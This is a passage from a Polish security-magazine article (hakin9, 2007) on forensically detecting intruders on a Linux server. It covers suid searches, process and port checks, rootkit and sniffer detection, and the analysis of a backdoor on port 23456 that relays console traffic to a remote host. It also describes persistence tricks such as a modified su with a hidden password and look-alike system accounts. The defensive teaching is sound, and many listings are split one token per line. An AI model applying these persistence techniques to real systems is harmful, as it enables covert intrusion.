go ostatni raz ponad miesiąc temu. Ze
względu na fakt, iż jest to konto legal-
nego użytkownika, wykluczam możli-
wość usunięcia części danych na te-
mat logowań, a wyniki wydają się być
wiarygodne. Mając te dane, oraz z
faktu, że konto było względnie rzadko
używane wnioskuję, że hasło zosta-
ło zmienione przez naszego gościa w
ostatnim czasie z konta roota.
Informacje te potwierdzają fakt
uzyskania przez intruza pełnej kon-
troli nad systemem i podejrzewam,
że spróbuje on ją odzyskać, stosu-
jąc już mniej inwazyjne metody. Po
pierwsze należy sprawdzić, czy nie
mamy otwartych portów TCP/IP in-
nych niż te, na które sami wyrazi-
liśmy zgodę. W tym celu wykorzy-
stamy nmap'a:
nmap -sT -p- -P0
127.0.0.1
i po chwili widzimy, że in-
truz nie zostawił za sobą nic widocz-
nego z zewnątrz (warto dodać, że
zaawansowani włamywacze stosują
często metodę port knockingu w celu
wywoływania backdoora). Idąc dalej
ścieżką poszukiwań poddajemy ana-
lizie wszystkie pliki z ustawionym bi-
tem suid/guid:
find / -user root -perm -4000 -print;
find / -perm -4000 -print;
find / -perm -2000 -print;
Listing 5.
Fragment /var/log/messages
[root@proxima:/var/log]
# cat messages|grep sshd
...
Jul 8 12:16:32 proxima sshd[7178]: Received signal 15; terminating.
Jul 8 12:17:36 proxima sshd[7190]: Server listening on :: port 22.
Jul 8 12:21:44 proxima sshd[3013]: Failed password
for
dek from 80.22.XX.XX
port 48023 ssh2
Jul 8 12:22:21 proxima sshd[3025]: Accepted password
for
dek from 80.22.XX.XX
port 48039 ssh2
...
Listing 6.
Wynik działania skryptu for...
...
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3316/exe -> /bin/bash*
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3330/exe -> /opt/nessus/
sbin/nessusd*
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3458/exe -> /usr/sbin/
httpd*
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3621/exe -> /usr/sbin/
in.identd*
lrwxrwxrwx 1 root root 0 2007-07-9 14:04 3626/exe -> /usr/sbin/.sfni*
Listing 7.
Wynik ręcznego poszukiwania snifferów za pomocą lsof
[root@proxima:/]# lsof|head -1;lsof | awk '$5=="sock" {print}'
COMMAND PID USER FD TYPE DEVICE SIZE
NODE NAME
udevd 934 root 5u sock 0,4 1896
can't identify protocol
...
.sfni 1917 root 3u sock 0,4 381413
can't identify protocol
...
httpd 2751 root 4u sock 0,4 13632
can't identify protocol
httpd 2777 apache 4u sock 0,4 13632
can't identify protocol
hakin9 Nr 10/2007
www.hakin9.org
Atak
42
Polecenia te w wyniku dają stan-
dardowe pliki z katalogów /bin, /sbin
etc. oraz plik o nazwie hdv11 z kata-
logu /dev – kolejny ślad. Plik ten au-
tomatycznie staje się dla nas podej-
rzanym, gdyż katalog /dev jest kata-
logiem urządzeń naszego serwera i
nie powinny znajdować się tam żad-
ne pliki wykonywalne, a już w szcze-
gólności z ustawionym bitem suid.
Z konsoli roota wydajemy polecenie
#strings /dev/hdv11
, a w rezultacie
uzyskujemy drukowalne ciągi zna-
ków z pliku wykonywalnego. Po krót-
kim zapoznaniu się z wynikami jeste-
śmy w stanie wywnioskować, iż jest
to bliżej nieokreślona wersja progra-
mu su – dającego m. in. uprawnienia
roota. Z konta użytkownika urucha-
miamy ten plik i możemy się przeko-
nać, że mieliśmy rację. Sprawdzamy
teraz, co stało się z oryginalnym pro-
gramem – krótka analiza (ls, strings)
i widzimy, że w katalogu /bin znaj-
duje się plik zmodyfikowany. W re-
zultatach strings widniał dodatkowy
napis power, a po wydaniu komen-
dy
$su power
, uzyskujemy uprawnie-
nia z id=0 oraz gid=0 bez podawa-
nia hasła.
W taki oto sposób intruz zabez-
pieczył sobie możliwość poszerzenia
uprawnień do poziomu root. Kolejny
sukces. Warto zwrócić uwagę, że do
metod mniej zaawansowanych, a
często wykorzystywanych do uzy-
skania ponownie konta super-użyt-
kownika, należą:
• stosowanie backdoorów wyko-
rzystujących zwykłe porty TCP/
UDP. Wykrywanie tego typu na-
rzędzi ogranicza się do przeska-
nowania wszystkich portów i ba-
dania poszczególnych usług,
• tworzenie kont użytkowników
o nazwach: deamon (oryg. da-
emon), sycn (oryg. sync), shu-
down (oryg. shutdown), opear-
tor (oryg. operator), smmp (oryg.
smmsp), mesagebus (oryg. mes-
sagebus), haltdeamon (oryg. hal-
deamon) itp. Wykrywanie tego
typu działań polega na uważnej
analizie plików passwd i shadow
ze szczególnym uwzględnieniem
użytkowników z UID=GID=0,
• zezwolenie na tzw. zaufane po-
łączenia z maszyn zdalnych bez
podawania hasła (oraz wszel-
kie r-usługi). Wykrywanie w tym
przypadku związane jest z anali-
zą wszelkich plików .r* dotyczą-
cych usług internetowych – .rho-
sts, hosts.equiv,
• zmodyfikowane usługi inetd dają-
ce dostęp do powłoki oraz konfi-
guracja ssh umożliwiająca logo-
wanie bez hasła. Rozwiązaniem
jest analiza pliku inetd i skano-
wanie jak w przypadku wykry-
wania backdoorów oraz dokład-
ne sprawdzenie konfiguracji ssh,
• wszelkie kombinacje wyżej opi-
sanych metod.
Warto sprawdzić, czy intruz nie pozo-
stawił po sobie plików lub narzędzi. Za-
zwyczaj szukanie tego typu rzeczy roz-
poczyna się od katalogu /tmp. Poszu-
kujemy przede wszystkim nazw okre-
ślonych w ramce, gdyż te są najczę-
ściej stosowane przez włamywaczy.
Sam etap poszukiwań i reagowania na
wystąpienia takich katalogów pozwolę
sobie pominąć. Jedyna podpowiedź z
mojej strony wygląda następująco:
locate "..."
locate ".. "
locate ". "
locate " ."
itd.
Bez podawania – ze względu na try-
wialność wykonania – sposobu, pra-
Tabela 1.
Porównanie fragmentu wyników polecenia strings na pliku su i hdv11
Wersja zmodyfikowana (/bin/su): Wersja oryginalna (/dev/hdv11):
Sorry.
power
/usr/share/locale
shadow
/dev/
%s: must be run from a terminal
- %s %s-%s
Sorry.
/usr/share/locale
shadow
/dev/
ENV_TZ
Listing 8.
Poszukiwanie podejrzanych procesów
[
root
@
proxima
:
~
]
# ps uxa
USER
PID
%
CPU
%
MEM
VSZ
RSS
TTY
STAT
START
TIME
COMMAND
..
dek
4277
0.0
0.8
3812
2060
pts
/
1
Ss
+
01
:
57
0
:
00
/
bin
/
bash
nobody
4291
0.0
0.4
52408
1176
?
Ssl
01
:
57
0
:
00
in
.
identd
dek
4329
0.0
0.8
3808
2060
pts
/
2
Ss
02
:
00
0
:
00
/
bin
/
bash
root
4354
0.0
0.1
1508
288
pts
/
0
S
+
02
:
02
0
:
00
klogd
-
D
...
Listing 9.
Badanie portów za pomocą netstat
[
dek
@
proxima
:
~
]
$
netstat
-
nalp
...
Proto
Recv
-
Q
Send
-
Q
Local
Address
Foreign
Address
State
PID
/
Program
name
tcp
0
0
0.0
.
0.0
:
23456
0.0
.
0.0
:*
LISTEN
-
tcp
0
0
0.0
.
0.0
:
37
0.0
.
0.0
:*
LISTEN
-
tcp
0
0
0.0
.
0.0
:
6000
0.0
.
0.0
:*
LISTEN
-
...
Listing 10.
Badanie portów za pomocą nmap'a
[
root
@
proxima
:
~
]
#
nmap
-
sT
-
p
-
-
PT
127.0
.
0.1
Starting
Nmap
4.20
(
http
:
//
insecure
.
org
)
at
2007
-
07
-
13
01
:
58
CEST
Not
shown
:
65528
closed
ports
PORT
STATE
SERVICE
23456
/
tcp
open
unknown
<-
port
zainteresowania
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
43
gnę zauważyć, że bardzo ważnym
elementem jest sprawdzenie tablicy
uruchamianych automatycznie zadań
– cron. Zdarza się, że intruz umiesz-
cza w niej np. polecenia włączenia ła-
mania haseł lub uruchomienia backdo-
ora. W naszym przypadku ważne mo-
że być także wylistowanie wszelkich
otwartych przez użytkownika art pli-
ków. Czynimy to za pomocą polecenia
#lsof -u art
i poszukujemy wszyst-
kiego, co na pierwszy rzut oka wyglą-
da naturalnie, a nie powinno się tam
znajdować. Kolejnym krokiem w de-
tekcji będzie sprawdzenie wszystkich
ostatnio modyfikowanych plików na
naszym komputerze. Znalezienie ich
ogranicza się do wydania polecenia
find / -ctime -1 -print
. W tym przy-
padku, tak jak poprzednio, poszukuje-
my ważnych plików systemowych, któ-
rych nie sprawdziliśmy przy porówny-
waniu na wcześniejszym etapie. Szu-
kamy także plików nowo utworzonych
i takich, których nazwy mogą sugero-
wać nam chęć ukrycia czegoś lub są
zbliżone do nazw systemowych. Ca-
ły dalszy proces analizy opiera się na
wykrywaniu wszelkich anomalii i po-
szukiwaniu ich źródła oraz powodów
wystąpienia. Chciałbym teraz przejść
do analizy przypadku drugiego. Decy-
duję się na pominięcie w tym momen-
cie pewnych metod i działań ze wzglę-
du na fakt, iż są wspólne dla obu przy-
padków i omówię je przy analizie dzia-
łań Intruza B. Tak więc zaczynamy.
Przypadek II
– działania operacyjne
Przypadek drugi opisujący działania
operacyjne.
Intruz B
Praca sieci i komputera nie była w ja-
kikolwiek sposób naruszana. Ciągłość
działań nie pozwalała nam wniosko-
wać o jakichkolwiek atakach wymie-
rzonych w nasze maszyny. Pomimo to
w trakcie analizy plików dziennika mo-
ją uwagę przykuł fakt widoczny na Li-
stingu 5. Jest to typowy przykład wy-
łączenia i ponownego włączenia usłu-
gi jaką jest sshd, a ze względu na czas
(data i godzina – środek dnia w nie-
dzielę) wykonania wnioskuję natych-
miast, że zostało naruszone bezpie-
czeństwo systemu. W tym przypadku
obecność intruza była praktycznie nie-
zauważalna, nie powodował on żadnej
dziwnej pracy maszyny, dlatego też
istniała spora możliwość przeoczenia
tak drobnego faktu. Pierwszym kro-
kiem będzie oczywiście odcięcie ma-
szyny od tzw. reszty świata – wycina-
my, jak poprzednio, cały ruch przycho-
dzący z Internetu zezwalając na ruch
z lokalnej maszyny oraz zabezpiecza-
my daemona sshd (np. w celu dalszej
analizy – dla bardziej wnikliwych). Na-
stępnym krokiem będzie przeszuka-
nie serwera w celu wykrycia typo-
wych śladów. W jaki sposób to zrobić
oraz jaki powinien być tok naszego po-
stępowania i myślenia – omówiłem w
przypadku intruza A. Pozostałe tro-
py, którymi należy podążać, przedsta-
wiam w ramce Step by step – potrak-
tuj ją jako małą podpowiedź dotyczącą
kierunku dalszych działań.
Niestety – intruz ten znakomicie
ukrył swoją obecność, a mając ten
fakt na uwadze proponuję uznanie
wyników wszelkich poleceń systemo-
wych za niewiarygodne. Posiadając
nowe założenie dotyczące naszej ma-
szyny należy sprawdzić prawdziwość
wyników generowanych przez każde z
poleceń systemowych. Można uczynić
to na kilka sposobów. Jednym z nich
jest skorzystanie z narzędzi typu tri-
pwire (http://sourceforge.net/projects/
tripwire/) – oprogramowanie to two-
rzy bazę sum kontrolnych plików, a
następnie porównuje je z poprzed-
nio zapisanymi wartościami. Rozwią-
zanie jest skuteczne, jednak wyma-
ga wcześniejszego wdrożenia, użycie
go tylko po ataku nie ma sensu. Wia-
domym także jest, że nie gwarantuje
stuprocentowej skuteczności, jednak
w przypadku znakomitej większości
ataków sprawdza się doskonale (war-
to zainwestować czas we wdrożenie i
poprawną konfigurację, na pewno się
to zwróci). Z doświadczenia wiem, że
rzadko kto używa sprawdzania sum
kontrolnych – z lenistwa – dlatego al-
ternatywnie proponuję metodę pole-
gającą na badaniu za pomocą poleceń
lsof
oraz
strings
poszczególnych pli-
ków z następującej listy: login, su, tel-
net, netstat, ifconfig, ls, find, du, df, libc,
sync oraz wszystkich plików binarnych
związanych z daemonem usług inetd.
Działania te zajmą na pewno sporo
czasu, jednak sprawdzenie wiarygod-
ności poleceń systemowych jest dla
nas sprawą priorytetową. Musisz szu-
kać wystąpień ciągów znaków wska-
zujących na jakiekolwiek modyfikacje
– często będą to wbudowane sekret-
ne hasła, dodatkowe opcje linii pole-
ceń gwarantujące ominięcie pewnych
zabezpieczeń lub dające prawa su-
perużytkownika. Ze swojej strony mo-
gę powiedzieć, że na pewno w anali-
zowanym przypadku zostały w syste-
mie zmienione polecenia
ls
i
ps
oraz
uruchomiono całkowicie nowego da-
emona sshd (stąd jego zatrzymanie i
ponowne uruchomienie). Wiemy już,
w jaki sposób włamywacz zapewnił
sobie możliwość natychmiastowego
uzyskania konta shell z prawami ro-
ota – wykorzystał zmodyfikowane ssh,
działanie które go zdradziło. Nie mo-
gąc polegać na wyżej wymienionych
plikach binarnych, zalecam całko-
witą ich wymianę – skompilowanie/
zainstalowanie z bezpiecznych archi-
wów. Niestety, nie możemy mieć pew-
ności, czy po tych działaniach odzy-
Rysunek 3.
Podejrzany plik binarny
hakin9 Nr 10/2007
www.hakin9.org
Atak
44
skamy wiarygodność wyników pre-
zentowanych przez problematyczne
polecenia. Intruz – oprócz samej mo-
dyfikacji plików binarnych – mógł za-
stosować narzędzia typu rootkit z za-
awansowanymi metodami ukrywania,
nałożyć patche na kernel lub skompi-
lować moduły nadzorujące i filtrują-
ce wyniki poleceń. Działania prewen-
cyjne proponuję rozpocząć od zain-
stalowania narzędzia chkrootkit (http:
//www.chkrootkit.org) – wykrywa ono
wiele rootkitów (ich lista znajduje się
na stronie projektu, stan na lipiec 2007
– 63) i może okazać się bardzo przy-
datne. My jednak nie skorzystamy z
oferowanej automatyzacji, ale w ce-
lu lepszego zrozumienia działań ro-
otkitów, a jednocześnie poznania no-
wych metod przydatnych nie tylko do
tego zadania, będziemy wyszukiwali
ręcznie. Po pierwsze, musimy spraw-
dzić, czy ilość katalogów w /proc zga-
dza się z ilością widocznych procesów
(w taki sposób zbadamy, czy nasz no-
wo zainstalowany pakiet z poleceniem
ps
jest poprawny i czy ukrywanie pro-
cesów nie jest wynikiem działania mo-
dułów jądra). W tym celu z konsoli ro-
ota przechodzimy do katalogu proc i
za pomocą polecenia
ls
sprawdza-
my ilość procesów (zazwyczaj nawet
jeśli nie możemy zaufać wynikom po-
lecenia, to ukrywa ono jedynie katalo-
gi o nazwach prezentowanych w ram-
ce powyżej lub nazwy określone przez
intruza). Po takiej wstępnej weryfikacji
badamy, czy jakieś procesy nie uru-
chamiają niebezpiecznych lub niepo-
żądanych usług:
# for i in `seq 1 33000`; do test -d $i
&& ls -l $i/exe;
done
A w rezultacie otrzymujemy listę jak
na Listingu 6. Zaznaczony na czerwo-
no fragment może być śladem progra-
mu niepożądanego – być może jest
to sniffer. Póki co, dodajemy program
do listy podejrzanych. Należy zwrócić
także uwagę, czy przy
1/exe -> *init*
nie występuję napis (deleted). Jest to
typowa oznaka świadcząca o obec-
ności intruza i oprogramowania root-
kit. Dzieje się tak dlatego, że prawdo-
podobnie uruchomiony proces init jest
fałszywy i został on uruchomiony pod-
czas np. restartu systemu wprowa-
dzając odpowiednie zmiany na jądro
Linuksa w celu ukrycia narzędzi, pli-
ków, katalogów etc. Warto sprawdzić
za pomocą polecenia
last/lastlog
,
czy w ostatnim czasie komputer był
resetowany – nakreśli nam to obraz,
czy należy spodziewać się występo-
wania modyfikacji wbudowanych w
jądro lub moduły, czy też nie. Obraz
ten może być niestety bardzo mgli-
sty, gdyż usunięcie śladów po ponow-
nym włączeniu systemu nie jest trud-
ne. Nie można odrzucić tego także w
naszym przypadku, bo pomimo, że in-
truz pozostawił w logach ślad o restar-
cie usługi ssh, mógł to uczynić typo-
wo przez nieuwagę, a logi z restartu
systemu znakomicie i skutecznie usu-
nąć. Kolejnym, i to jednym z ważniej-
szych, krokiem jest zbadanie, czy in-
truz nie zainstalował oprogramowa-
nia modyfikującego adresy pamięci
wywołań systemowych. Jest to dzia-
łanie typowo rootkitowe stosowane
przez tzw. LKM–Rootkity (linux ker-
nel-mode). Operacja ta daje możli-
wość modyfikowania wyników pole-
ceń systemowych bez modyfikacji sa-
mych plików binarnych – a co za tym
idzie, uniemożliwia wykrycie faktu do-
starczania niewiarygodnych danych
(w naszym przypadku mamy pew-
ność, że pliki ls, ps i su były modyfiko-
wane, lecz wciąż brakuje nam pewno-
ści co do polecenia
netstat
). Analiza
w tym przypadku dotyczy bezpośred-
nio przeglądu pamięci jądra systemu.
Po pierwsze, należy sprawdzić, czy
zostały zmienione adresy wywołań
systemowych. Można to zrobić w pro-
sty sposób za pomocą narzędzi typu
kstat
(porównanie wyników programu
kstat z tym, co wyświetla nam
ps -aef
,
lub zastosowanie kern_check – http:
//la-samhna.de/library/kern_check.c)
oraz w sposób alternatywny – ręcz-
nie (co jest opisane na stronie http:
//www.securityfocus.com/infocus/
1811). Sprawdzanie ręczne polega na
określeniu, czy adresy znajdujące się
w pliku generowanym przy kompilacji
(zazwyczaj /boot/System.map) zga-
dzają się z aktualnie wykorzystywa-
nymi. Po szczegóły techniczne odsy-
łam pod adres znajdujący się wyżej.
Inną łatwą metodą, dającą zadowala-
Listing 11.
Wynik próby połączenia z otwartym portem
[
root
@
proxima
:
~
]
#
telnet
localhost
23456
Trying
127.0
.
0.1
...
Connected
to
localhost
.
Escape
character
is
'^
]
'.
test
Connection
closed
by
foreign
host
.
Listing 12.
Poszukiwanie źródła procesu o nazwie klogd -D (metoda
uniwersalna)
[
root
@
proxima
:
~
]
#
cat
/
proc
/
PID_PROCESU
(
4354
w
naszym
przypadku
)
/
smaps
|
grep
08048000
-
08049000
r
-
xp
00000000
03
:
01
5041346
/
tmp
/.
session
-
usb
Size
:
4
kB
Rss
:
4
kB
Shared_Clean
:
0
kB
Shared_Dirty
:
0
kB
Private_Clean
:
4
kB
Private_Dirty
:
0
kB
08049000
-
0804
a000
rw
-
p
00000000
03
:
01
5041346
/
tmp
/.
session
-
usb
Listing 13.
Analiza programu
nasłuchującego na porcie
23456 za pomocą strings
[
root
@
proxima
:
~
]
# strings
/
tmp
/.
session
-
usb
....
ü˙˙
Y
[
ÉĂ
/
bin
/
bash
klogd
-
D
...
ţ˙˙
o
ô
...
GCC
:
(
GNU
)
4.1
.
2
pass
...
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
45
jące efekty w wykrywaniu obecności
modułów modyfikujących wyniki pole-
ceń (i nie tylko), jest porównanie wyni-
ków polecenia
lsmod
(lub jeśli nie ufa-
my lsmodowi, to
cat /proc/modules
)
z zawartością /proc/ksyms (lub
/proc/kallsyms), gdzie nazwy modu-
łów zawarte są w nawiasach kwadra-
towych. Poszukujemy wszelkich nie-
zgodności, anomalii oraz wszystkie-
go, co wygląda na możliwą modyfika-
cję wprowadzoną przez intruza. Nie-
stety, z łatwością zastosowania w pa-
rze idzie łatwość przeciwdziałania tej
metodzie przez LKM. W tym momen-
cie możemy przejść do dalszej analizy
i skorzystać z programu chkrootkit w
celu wykrycia m. in. obecności sniffe-
rów lub rootkitów. Krokiem pierwszym
będzie sprawdzenie za pomocą tego
narzędzia procesów ukrytych (patrz
Listing 15).
Ponieważ mamy już pewien za-
sób wiedzy – analizę wyniku po-
zostawiam czytelnikowi. Zwracam
uwagę na możliwość występowa-
nia prawdziwych i legalnych ukry-
tych procesów. Znajomość i odkry-
cie tych ukrytych aplikacji leży u pod-
staw obycia z własną maszyną.
Kolejnym krokiem, jaki musimy
zrobić, jest sprawdzenie obecności
snifferów (patrz Listing 16).
Chciałbym zauważyć, że zarówno
sam podsłuch, jak i jego wykrywanie
to bardzo ciekawe zagadnienia, a ze
względu na cel działania intruza – oba
dotyczą naszego przypadku. Pod-
słuch często pozostawia ślady w sys-
temie – większość intruzów pozosta-
wia uruchomione sniffery w celu uzy-
skania haseł i loginów użytkowników
korzystających z sieci, a także w ce-
lu przechwycenia innych wrażliwych
danych. Działanie snifferów opiera się
przede wszystkim na ustawieniu kart
sieciowych w tryb promiscuous – po-
woduje to odbiór wszystkich pakietów
krążących w sieci, a nie jedynie skie-
rowanych do maszyny, na której znaj-
duje się uruchomiony sniffer. Jednak
ze względu na fakt, iż cały ruch prze-
chodzi przez nasz serwer, intruz mógł
uruchomić podsłuch w trybie non-pro-
miscuous zbierając dane z pakietów
skierowanych do naszej maszyny...
Dlaczego tego nie zrobił, co jednocze-
śnie utrudniłoby jego wykrycie? Może
pośpiech albo pomyłka... Właśnie z
takich powodów jesteśmy bardzo czę-
sto w stanie wykryć znakomicie zama-
skowanego intruza. Sam podsłuch w
wielu przypadkach nie opiera się wy-
łącznie na typowych snifferach – ko-
dowany ruch sieciowy wygląda w lo-
gach jak losowy ciąg danych, a od-
czyt czegokolwiek jest niemożliwy.
Jeżeli intruzowi zależy na dokładnym
zbieraniu danych, często modyfikuje
powłokę shell oraz sshd w taki spo-
sób aby wszystko, co jest wpisywa-
ne w linii komend było automatycznie
logowane (dlatego po odkryciu mody-
fikacji sshd należało natychmiast od-
ciąć ruch i zainstalować nowe – pew-
ne oprogramowanie). Ręczne wykry-
wanie oprogramowania podsłuchują-
cego polega na zbadaniu występo-
wania flagi PROMISC w interfejsach
(#ifconfig -a|grep PROMISC)
. Jednak
flaga ta często jest ukryta, dlatego na-
leży przyjąć inne metody walki:
• na zasadzie dedukcji poszukuje-
my oprogramowania, które być
może jest ukryte przed polece-
niem
ps
lub posiada dziwną na-
zwę, pracuje na prawach admi-
nistratora, tworzy logi ze swojej
działalności, ma długi czas dzia-
łania oraz obciąża znacznie sys-
tem (
top
),
• analizując logi systemowe, jeste-
śmy w stanie odkryć zmiany try-
bu pracy kart sieciowych – i po-
mimo tego, że tryb jest ukryty dla
polecenia
ifconfig
, w logach ma-
my wyraźnie widoczne jego usta-
wienie (patrz Rysunek 2),
• poszukując oprogramowania ko-
rzystającego z gniazd SOCK_
RAW/SOCK_PACKET
(lsof |
awk '$5==”sock” {print}’)
- wy-
krywa także sniffery pracujące w
trybie non-promiscuous (patrz Li-
sting 7).
Mając już pewność faktu prowadze-
nia podsłuchu oraz umiejscowienie
jego źródła – wyłączamy i usuwamy
całe oprogramowanie pozostawio-
ne przez intruza i przystępujemy do
dalszej analizy. Na tym etapie musi-
my sprawdzić, czy intruz nie posiada
innego rodzaju podsłuchów – spraw-
dzamy koniecznie, czy powłoka bash
nie została w żaden sposób zmodyfi-
kowana oraz czy nie pracują inne na-
rzędzia działające jak keyloggery. Po-
szukiwania rozpoczynamy i prowadzi-
my tak, jak poprzednio – analiza
lsof
,
strings
, można wykorzystać tak-
że
gdb
do analizy basha. Upewnia-
Pomocne w detekcji
Bardzo pomocnym działaniem w detekcji intruza jest:
• stosowanie dodatkowych systemów logowania, lub nawet specjalnie do tego celu
skonfigurowanej maszyny (da nam to wystarczającą ilość niepodważalnych dowo-
dów oraz możliwość wytropienia intruza – fizycznie miejsca, z którego atakował, lub
maszyn przez niego wykorzystanych),
• zainstalowanie oprogramowania przesyłającego pliki dzienników systemowych do
innej maszyny lub na specjalnie do tego celu przeznaczoną skrzynkę pocztową
– uchroni nas to przed oślepieniem wywołanym edycją tych plików przez intruza i
da dostatecznie dużo dowodów i śladów pochodzenia ataku,
• stosowanie narzędzi sprawdzania sum kontrolnych, detektorów włamań, syste-
mów wykrywania włamań i detektorów skanowań (tripwire, aide, snort, nids, aafid,
hostsentry, portsentry, itp.),
• stosowanie snifferów w służbie bezpieczeństwu (wysyłanie plików dziennika do in-
nej maszyny lub na pocztę w celu dokładnego określenia działań intruza na pod-
stawie analizy logów ruchu TCP/UDP IP),
• nadzór i protokołowanie wszelkich działań superużytkownika (podsłuch założony
na konto roota z wysyłaniem plików dziennika do innej maszyny).
W większości przypadków działania te są bardzo proste w implementacji i wdrożeniu,
natomiast rezultaty, jakie przyniosą, są nie do przecenienia – niekończąca się skarbni-
ca dowodów oraz śladów...
hakin9 Nr 10/2007
www.hakin9.org
Atak
46
my się też, czy żadne oprogramowa-
nie nie usiłuje generować ruchu sie-
ciowego. W celu sprawdzenia ruchu
w sieci zamieniamy się miejscami z
intruzem – teraz to my uruchamiamy
sniffery (
tcpdump
,
dsniff
etc.) i prowa-
dzimy nasłuch. Działanie to jest bar-
dzo proste – cały ruch przychodzący
do komputera został wcześniej odcię-
ty, dlatego przez cały okres nasłuchu
powinniśmy mieć pusty plik logowa-
nia. Jeśli jest inaczej, należy rozpo-
cząć poszukiwania i prowadzić je w
taki sposób, aby móc odpowiedzieć
na pytania: Co generuje ten ruch?
Czego on dotyczy? Jakie dane są
przesyłane? W tym celu oczywiście
musimy wykorzystać wiedzę zdobytą
do tej pory oraz zapoznać się dokład-
nie z wynikami generowanymi przez
netstat
. Poniżej chciałbym zaprezen-
tować przykładowy scenariusz dzia-
łania, którego rezultatem ma być od-
krycie programu generującego ruch.
Założeniem, jakie stawiam, jest fakt,
że do tej pory system powinien być
wiarygodny i nie ukrywać żadnych
plików ani procesów.
Przykład analizy ruchu sieciowe-
go (patrz Listing 8).
Proces 4354, jak na proces sys-
temu logowania, ma stanowczo za
wysokie PID. Nazwa procesu wy-
gląda na fałszywą, gdyż oryginalny
klogd widoczny jest jako
/usr/sbin/
klogd
, a jego strona man nie przewi-
duje opcji -D. Mamy podejrzany pro-
ces, wszelki ruch sieciowy genero-
wany z i do komputera od tej chwi-
li będziemy wiązali z tym procesem.
Metoda stosowana do odkrycia po-
wyższych informacji to: trochę spo-
strzegawczości plus nieco wiedzy i
znajomości systemu Linux. Następ-
nie badamy, czy aplikacja ta otwiera
jakieś porty (patrz Listing 9).
Świadomi jesteśmy otwarcia
wszystkich portów poza 23456.
Jest to bardzo wysoki numer portu,
często stosowany przez backdoory
– prawdopodobnie mamy to, czego
szukamy. Sprawdźmy, co na to nmap
(patrz Listing 10).
Pewnym jest, że w systemie ist-
nieje jeszcze aplikacja, która powodu-
je jakieś działania sieciowe. Musimy
sprawdzić, jakie i co to za aplikacja,
a ze względu na znajomość wszel-
kich pozostałych procesów działania
sieciowe i otwarcie portu wiążemy z
klogd -D
. Kolejnym naszym ruchem
będzie uwidocznienie tego, co kryje
się pod tym portem (Listing 11).
Po wprowadzaniu danych i zaak-
ceptowaniu nastąpiło natychmiasto-
we rozłączenie – można sądzić, że
oprogramowanie oczekuje na wpro-
wadzenie hasła. Aby to sprawdzić,
należy odkryć prawdziwy plik binarny
(patrz Listing 12)
W taki sposób odnaleźliśmy
właściwy program, kryjący się pod
„klogd -D”. Poddajemy go analizie za
pomocą
strings
– spróbujemy zdo-
być hasło, bo być może jest zapisa-
ne jawnie w pliku binarnym.
Próba zalogowania za pomo-
cą hasła pass kończy się fiaskiem
– najwidoczniej nazwa pass doty-
czy zmiennej, w której jest przecho-
wywane hasło. Można je na pewno
odkryć stosując techniki reverse en-
gineeringu, jednak my darujemy so-
bie dalsze badania samego progra-
mu, a skupimy się na tym, co on ro-
bi. Następnym naszym ruchem bę-
dzie mała prowokacja: generuje-
my ruch sieciowy dotyczący portu
23456 i oczekujemy działań intruza,
logując wszystko za pomocą sniffe-
ra.... Po kilkunastu minutach rozpo-
czął się ruch na porcie. Po pierw-
sze zostało nawiązane połączenie
z portem przez host o adresie IP
208.122.XX.XX – prezentuje to mię-
dzy innymi netstat:
tcp 0 0 127.0.0.1:23456
208.122.XX.XX:52102
ESTABLISHED4537/bash
Natomiast na snifferze wykrywamy
ruch sieciowy (Listing 14).
Wszystko teraz jest jasne – pro-
gram znajdujący się na porcie 23456
działa jak keylogger – przesyła
wszelkie dane (zarówno polecenia,
jak i ich wyniki) do komputera o ad-
resie 208.122.XX.XX. Można poku-
sić się o dalsze analizy oraz zba-
danie i poinformowanie administra-
tora komputera, na który wysyłany
jest cały ruch konsolowy generowa-
ny na naszej stacji serwerowej, jed-
nak my darujemy sobie te czynno-
ści. Wierzę, że wszyscy Czytelnicy
– mając tak wyszczególnione dzia-
łania – poczuli żyłkę detektywa i ma-
ją w myślach obraz dotyczący spo-
sobu wyszukiwania informacji oraz
prawidłowego kojarzenia faktów. Po
tak przeprowadzonej analizie należy
zbadać, czy komputer był wykorzy-
stywany do innych ataków. Przede
wszystkim poszukujemy w systemie
oprogramowania do łamania haseł
oraz wszelkich plików binarnych nie
umieszczonych na serwerze przez
nas. Pozwoli to nam znacznie pod-
nieść poziom zaufania do serwe-
Listing 15.
Ukryte procesy
(poszukiwanie trojanów LKM)
#chkproc
You
have
8
process
hidden
for
readdir
command
You
have
8
process
hidden
for
ps
command
Listing 16.
Interfejsy z
włączonym trybem promiscuous
#ifpromisc
eth1
:
PF_PACKET
(
/
usr
/
sbin
/
dsniff
)
<
stosowany
przeze
mnie
eth1
:
PF_PACKET
(
/
usr
/
sbin
/
tcpdump
)
<
stosowany przeze mnie
eth1: PF _ PACKET
(
/usr/sbin
.sfni
)
<
intruza
Listing 14.
Przechwycony ruch sieciowy z portu 23456
[
root
@
proxima
:
/
home
/
dek
/
]
# ./ss
[
127.0
.
0.1
:
23456
->
208.122
.
XX
.
XX
:
52102
]
cd
/
home
;
ls
-
al
[
127.0
.
0.1
:
23456
->
208.122
.
XX
.
XX
:
52102
]
total
20
drwxr
-
xr
-
x
4
root
root
4096
2007
-
04
-
10
23
:
31
./
drwxr
-
xr
-
x
22
root
root
4096
2007
-
04
-
08
02
:
43
../
drwx
--
x
--
x
72
dek
users
8192
2007
-
07
-
08
02
:
33
dek
/
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
47
ra. Warte zachodu jest również do-
kładne sprawdzenie plików znajdu-
jących się w katalogu głównym da-
emona httpd oraz zapoznanie się z
zawartością katalogów ze strona-
mi WWW umieszczonymi na ser-
werze przez wszystkich użytkow-
ników. Działania końcowe: po zain-
stalowaniu oprogramowania z po-
prawnymi plikami binarnymi su, ps,
ls etc., oraz usunięciu/dezaktywacji
rootkitów, loggerów i snifferów moż-
na uznać, że system odzyskał wiary-
godność. W tym momencie należy
powtórzyć całą procedurę poszuki-
wawczą dotyczącą intruza A, posze-
rzoną teraz (mam nadzieję!) o wie-
le nowych pomysłów i metod, opra-
cowanych przez czytelnika w trakcie
lektury. Jako radę na przyszłość pra-
gnę podać nauczenie się odnotowy-
wania wszelkich dowodów i śladów
na innych, zewnętrznych nośnikach
– my w trakcie analiz odkryliśmy kil-
